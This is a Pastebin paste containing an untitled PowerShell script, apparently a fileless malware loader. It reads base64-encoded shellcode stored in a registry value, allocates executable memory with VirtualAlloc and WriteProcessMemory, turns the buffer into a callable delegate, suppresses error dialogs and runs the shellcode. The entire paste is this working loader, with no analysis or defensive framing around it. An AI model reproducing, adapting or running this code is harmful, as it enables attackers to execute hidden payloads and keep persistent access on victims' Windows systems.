Advertisement
Guest User

Untitled

a guest
Aug 4th, 2018
764
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.70 KB | None | 0 0
  1. $regpath = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Shell";
  2. $regkey = "{4FF23B38-C5A1-5CBE-F25D458E1F8C5642}";
  3.  
  4. function Get-DelegateType
  5. {
  6. Param
  7. (
  8. [OutputType([Type])]
  9.  
  10. [Parameter( Position = 0)]
  11. [Type[]]
  12. $Parameters = (New-Object Type[](0)),
  13.  
  14. [Parameter( Position = 1 )]
  15. [Type]
  16. $ReturnType = [Void]
  17. )
  18.  
  19. $Domain = [AppDomain]::CurrentDomain
  20. $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
  21. $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  22. $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
  23. $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  24. $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
  25. $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
  26. $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
  27. $MethodBuilder.SetImplementationFlags('Runtime, Managed')
  28.  
  29. Write-Output $TypeBuilder.CreateType()
  30. }
  31.  
  32. function bytesToIntegerBI($byteArrayInput, $offset) {
  33. $returnedInt = $byteArrayInput[$offset+0] * 16777216;
  34. $returnedInt += $byteArrayInput[$offset+1] * 65536;
  35. $returnedInt += $byteArrayInput[$offset+2] * 256;
  36. $returnedInt += $byteArrayInput[$offset+3] * 1;
  37. return $returnedInt;
  38. }
  39.  
  40. $externalFuncs = @"
  41. [DllImport("kernel32.dll")]
  42. public static extern IntPtr GetCurrentProcess();
  43. [DllImport("kernel32.dll")]
  44. public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  45. [DllImport("kernel32.dll")]
  46. public static extern bool WriteProcessMemory(IntPtr process, IntPtr address, byte[] buffer, uint size, uint written);
  47. [DllImport("kernel32.dll")]
  48. public static extern uint SetErrorMode(uint uMode);
  49. "@
  50.  
  51.  
  52. $cFuncsCallable = Add-Type -memberDefinition $externalFuncs -Name "Win32" -namespace Win32Functions -passthru;
  53.  
  54. function shellExec($lExternalFuncs, $funcOffset, $fullShellcode) {
  55. $curProcess = $cFuncsCallable::GetCurrentProcess();
  56.  
  57. $rwxPage1 = $cFuncsCallable::VirtualAlloc(0,$lExternalFuncs.Length,0x00003000,0x40);
  58. $rwxPage2 = $cFuncsCallable::VirtualAlloc(0,$fullShellcode.Length,0x00003000,0x40);
  59.  
  60. $cFuncsCallable::WriteProcessMemory($curProcess, $rwxPage1, $lExternalFuncs, $lExternalFuncs.Length, 0) | Out-Null;
  61. $cFuncsCallable::WriteProcessMemory($curProcess, $rwxPage2, $fullShellcode, $fullShellcode.Length, 0) | Out-Null;
  62.  
  63. $funcHndl = [IntPtr]($rwxPage1.ToInt64()+$funcOffset);
  64. $funcDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Void]);
  65.  
  66. $scFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcHndl, $funcDelegate);
  67.  
  68. $cFuncsCallable::SetErrorMode(0x8006) | Out-Null;
  69. $scFunc.Invoke($rwxPage2, $rwxPage1);
  70. }
  71.  
  72.  
  73. function processShellcode($shellcodeEnc, $mode64or32) {
  74. $length = bytesToIntegerBI $shellcodeEnc 1;
  75. $index = 5;
  76. while ($index+8 -lt $length) {
  77. $byte = $shellcodeEnc[$index];
  78. $int1 = bytesToIntegerBI $shellcodeEnc ($index+1);
  79. $funcOffset = bytesToIntegerBI $shellcodeEnc ($index+5);
  80. $index += 9;
  81. if ($byte -eq $mode64or32) {
  82. shellExec $shellcodeEnc[$index..($index+$int1)] $funcOffset $shellcodeEnc;
  83. break;
  84. } else {
  85. $index += $int1;
  86. }
  87. }
  88. }
  89.  
  90. $base64shellcode = (Get-ItemProperty -Path "$regpath" -Name "$regkey").$regkey;
  91. $shellcodeEnc = [System.Convert]::FromBase64String($base64shellcode);
  92. $shellcodeEnc[0] = 0;
  93. if ([IntPtr]::Size -eq 8) {
  94. processShellcode $shellcodeEnc 2;
  95. } else {
  96. processShellcode $shellcodeEnc 1;
  97. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement